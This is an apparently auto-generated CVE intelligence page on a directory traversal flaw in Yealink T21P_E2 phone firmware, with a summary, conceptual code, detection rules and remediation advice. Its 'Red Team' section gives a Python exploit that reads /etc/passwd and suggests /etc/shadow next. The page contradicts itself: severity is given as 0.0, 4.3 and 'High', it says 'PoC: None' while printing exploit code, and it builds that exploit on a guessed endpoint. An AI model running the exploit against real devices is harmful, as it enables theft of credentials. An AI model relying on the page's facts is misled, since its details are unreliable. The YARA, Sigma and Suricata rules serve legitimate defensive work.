☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-66737

CVE-2025-66737 Directory Traversal in Yealink
📅 PUBLISHED: 2025-12-26 00:00 UTC 🔄 UPDATED: 2026-09-23 20:35 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.66%
👁️
0.66% probability
16.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: China License: Commercial
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
4.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-66737 is a directory traversal vulnerability in the Yealink T21P_E2 Phone firmware version 52.84.0.15. A remote attacker with normal privileges can exploit the diagnostic component's result read function to read arbitrary files on the device. This can lead to disclosure of sensitive configuration data, credentials, or other system files. No patch is currently available from the vendor.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a physical embedded device (Yealink T21P_E2 Phone) and is not related to NPM, PyPI, Go, or Ruby packages. No supply chain package security implications apply.

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (No official vector provided)
  • Attack Vector (AV): Network (remote exploitation)
  • Attack Complexity (AC): Low (crafted request)
  • Privileges Required (PR): Low (normal user)
  • User Interaction (UI): None
  • Scope (S): Unchanged
  • Confidentiality (C): High (arbitrary file read)
  • Integrity (I): None
  • Availability (A): None
  • Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
  • Threat Level: High (due to remote exploitation and sensitive data exposure)

Deep Dive & Mechanics

The vulnerability resides in the diagnostic component of the Yealink T21P_E2 phone web interface. The diagnostic component includes a function that reads the results of diagnostic tests. Due to insufficient input validation, an attacker can manipulate the file path parameter to traverse directories and read arbitrary files outside the intended directory.

Root Cause: The application does not sanitize or validate user-supplied file paths, allowing path traversal sequences (e.g., ../) to escape the restricted directory.

Attack Vector: A remote attacker sends a crafted HTTP request to the diagnostic result read endpoint, specifying a malicious file path. The server then reads and returns the contents of the requested file.

Impact: An attacker can read sensitive files such as:

  • /etc/passwd (user accounts)
  • Configuration files containing SIP credentials, admin passwords, or network settings
  • Firmware files or other system binaries

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Vulnerable endpoint
@app.route('/diagnostic/result')
def read_diagnostic_result():
    file_path = request.args.get('file')
    # No validation - directly reads user-supplied path
    with open(file_path, 'r') as f:
        return f.read()

Patched Code (Conceptual):

import os

# Patched endpoint
@app.route('/diagnostic/result')
def read_diagnostic_result():
    file_path = request.args.get('file')
    # Restrict to allowed directory
    base_dir = '/var/log/diagnostic/'
    # Resolve and validate path
    full_path = os.path.normpath(os.path.join(base_dir, file_path))
    if not full_path.startswith(base_dir):
        return "Access denied", 403
    with open(full_path, 'r') as f:
        return f.read()

Exploitation & Lab Setup

Red Team

Exploit Code (Python):

import requests

target = "http://<TARGET_IP>"
# Read /etc/passwd
payload = "/diagnostic/result?file=../../../../etc/passwd"
response = requests.get(target + payload)
print(response.text)

Usage:

  1. Replace <TARGET_IP> with the IP address of the vulnerable Yealink phone.
  2. Run the script to retrieve the contents of /etc/passwd.
  3. Modify the file parameter to read other files (e.g., ../../../../etc/shadow).

Blue Team

Detection Steps:

  1. Monitor web server logs for requests containing ../ or ..%2f in the file parameter.
  2. Alert on requests to /diagnostic/result with suspicious file paths.
  3. Check for outbound connections from the phone to unknown IPs (data exfiltration).

Honeypot Setup:

  • Deploy a fake Yealink phone with a modified firmware that logs all file read attempts.
  • Use a web application firewall (WAF) to block path traversal patterns.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP GET requests to /diagnostic/result?file=../../../../etc/passwd
    • Requests containing ../ or ..%2f in the file parameter
    • Outbound connections from the phone to external IPs after exploitation
  • File IOCs:

    • Unauthorized access to /etc/passwd, /etc/shadow, or configuration files
    • Modified log files indicating file read attempts
  • System IOCs:

    • Unexpected processes reading sensitive files
    • Abnormal memory usage from diagnostic component

Detection Engineering

YARA Rule

rule yealink_directory_traversal {
    meta:
        description = "Detects directory traversal attempts against Yealink T21P_E2"
        author = "Valters IT"
        date = "2025-04-01"
        cve = "CVE-2025-66737"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e%5c"
        $endpoint = "/diagnostic/result"
    condition:
        $endpoint and any of ($traversal*)
}

Sigma Rule

title: Yealink T21P_E2 Directory Traversal Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects directory traversal attempts against Yealink T21P_E2 diagnostic endpoint
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/diagnostic/result'
        cs-uri-query|contains: 
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
    condition: selection
falsepositives:
    - Legitimate diagnostic requests with valid file paths
level: high

Suricata Rule

alert http any any -> any any (msg:"Yealink T21P_E2 Directory Traversal Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/diagnostic/result"; http_uri; content:"../"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate affected devices: Place Yealink T21P_E2 phones on a separate VLAN with restricted network access.
  2. Disable diagnostic component: If not required, disable the diagnostic web interface via device configuration.
  3. Monitor logs: Enable detailed logging and monitor for path traversal attempts.

Long-term Fix:

  • Vendor patch: Await an official firmware update from Yealink that properly validates file paths.
  • Workaround: Implement a reverse proxy or WAF to filter out path traversal patterns before they reach the device.

Compensating Controls:

  • Use network segmentation to limit exposure.
  • Apply strict firewall rules to allow only trusted IPs to access the phone's web interface.
  • Regularly audit device configurations and firmware versions.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-66737/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.